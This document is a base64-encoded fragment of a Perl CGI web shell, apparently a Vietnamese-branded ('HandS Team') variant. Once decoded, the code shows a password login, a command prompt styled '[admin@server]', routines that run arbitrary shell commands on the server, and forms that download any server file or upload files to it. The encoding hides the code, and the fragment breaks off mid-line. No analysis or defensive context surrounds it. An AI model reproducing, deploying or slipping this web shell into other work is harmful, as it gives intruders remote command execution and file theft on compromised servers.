LS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXI7CgkJcHJpbnQgJkxpc3REaXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhlYWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsKCgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyAKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KVCYjMjM0O24gRmlsZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KVCYjNzg0MztpIFh1JiM3ODg5O25nIDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYW5kUyBUZWFtIj4KCjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpUJiMyMzQ7biBGaWxlOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpDJiMyMjQ7aSAmIzI3MjsmIzc4NjM7dDogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPgo8bGFiZWwgZm9yPSJ1cCI+JiMyNzI7JiMyMzI7IEwmIzIzNDtuIE4mIzc4NzE7dSBGaWxlIFRyJiMyNDk7bmcgTmhhdTwvbGFiZWw+PGJyPjxicj4KVCYjNzg0MztpIEwmIzIzNDtuOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYW5kUyBUZWFtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPgo8YnI+PGZvbnQgY29sb3I9eWVsbG93PgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pgo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+CkVORAoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlc3VsdD0iIjsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN1bHQgLj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgoKSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+CkVORAoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7CgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCW15ICRyZXN1bHQgPSAiIjsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlc3VsdD0iIjsKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIpOwoJbXkgJHJlc3VsdD0iIjsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIHJ1biBjb21tYW5kCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJ1bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJaWYoISRXaW5OVCkKCXsKCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCX0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCXsKCQkkfD0xOwoJCSRDb21tYW5kIC49ICIgfCI7CgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsKCQl9CgkJJHw9MDsKCX0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJewoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOwoJfQoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGb3JtIFNhdmUgRmlsZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09P